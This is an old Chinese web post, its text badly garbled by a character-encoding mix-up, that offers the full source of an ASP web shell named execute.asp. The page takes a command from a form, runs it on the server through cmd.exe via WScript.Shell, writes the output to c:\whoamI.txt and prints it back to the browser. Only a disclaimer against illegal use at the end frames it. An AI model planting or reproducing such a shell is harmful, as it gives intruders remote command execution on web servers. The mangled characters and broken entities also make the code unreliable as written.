¿ÉÒÔÖ´ÐÐϵͳÃüÁîµÄASPÔ­Âë·ÅËÍ

30×óÓÒ½á´Î»é

×¢ÒâµÄÊÇ£¬³ÌÐòÔËÐбØÐëÓÐFileSystemObjectÖ§³Ö¡£ÒÔÏÂÊÇÔ¶³ÌÖ´ÐÐÃüÁîµÄÔ­´úÂë¡£
copyÏÂÀ´Áí´æΪexecute.asp.

£¼html£¾

£¼head£¾
<meta http-equiv="Content-Language" content="zh-cn"£¾

<meta http-equiv="Content-Type" content="text/html; charset=gb2312"£¾
<meta name="GENERATOR" content="Microsoft FrontPage 4.0"£¾
<meta name="ProgId" content="FrontPage.Editor.Document"£¾
£¼title£¾Ö´ÐÐÃüÁ/title£¾
£¼style£¾
£¼!--
table,body{ font-family: ËÎÌå; font-size: 9pt }
a{ font-family: ËÎÌå; font-size: 9pt; color: rgb(0,32,64);

text-decoration: none }
a:hover{ font-family: ËÎÌå; color: rgb(255,0,0); text-decoration: none

}
a:visited{ color: rgb(128,0,0) }
--£¾
£¼/style£¾

£¼/head£¾

£¼body bgcolor="#000000" text="#C0C0C0"£¾

£¼form method="POST" action="execute.asp"£¾
£¼p align="left"£¾ÊäÈëÒªÖ´ÐеÄÃüÁ£¼input type="text" name="ml"

size="20" value="dir c:\" style="background-color: #C0C0C0; color:

#000000; border-style: solid; border-width: 1"£¾
£¼input type="submit" value="Ö´ÐÐ" name="B1" style="background-color:

#C0C0C0; color: #000000; border: 1 groove #C0C0C0"£¾£¼/p£¾
£¼/form£¾
£¼%
ml=request.form("ml")
cmd="c:\winnt\system32\cmd.exe /c "&ml&" £¾c:\whoamI.txt" 'ÐÞ¸Ä

whoamI.txt·¾¶µ½Ò»¸öÓÐдȨÏÞµÄĿ¼
Set WShShell = Server.CreateObject("WScript.Shell")
RetCode = WShShell.Run(cmd, 1, True)
if RetCode = 0 Then
Response.write ml & "¡¡"
Response.write " ÃüÁî³É¹¦Ö´ÐУ¡"&"£¼br£¾£¼br£¾"
else
Response.write " ÃüÁîÖ´ÐÐʧ°Ü£¡È¨ÏÞ²»¹»»òÕ߸óÌÐòÎÞ·¨ÔÚDOS״̬ÏÂÔËÐÐ


£¡"&"£¼br£¾£¼br£¾"

end if
'response.write cmd

function htmlencode(str)
dim result
dim l
if isNULL(str) then
htmlencode=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "£¼"
result=result+"£¼"
case "£¾"
result=result+"£¾"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case else
result=result+mid(str,i,1)
end select
next
htmlencode=result
end function
Set fs =CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile("c:/whoamI.txt", 1, False) '¶ÁÎļþ£¬±ðÍü

ÁËÐ޸ķ¾¶.
counter=0
do while not thisfile.atendofstream
counter=counter+1
thisline=htmlencode(thisfile.readline)
response.write thisline&"£¼br£¾"
loop
thisfile.Close
set fs=nothing
%£¾

£¼/body£¾

£¼/html£¾

ÇëÎ𽫴˳ÌÐòÓÃÓÚ·Ç·¨Í¾¾¶£¬ÓÉ´ËÒýÆðµÄÒ»Çкó¹ûÓÉʹÓÃÕ߳е£¡£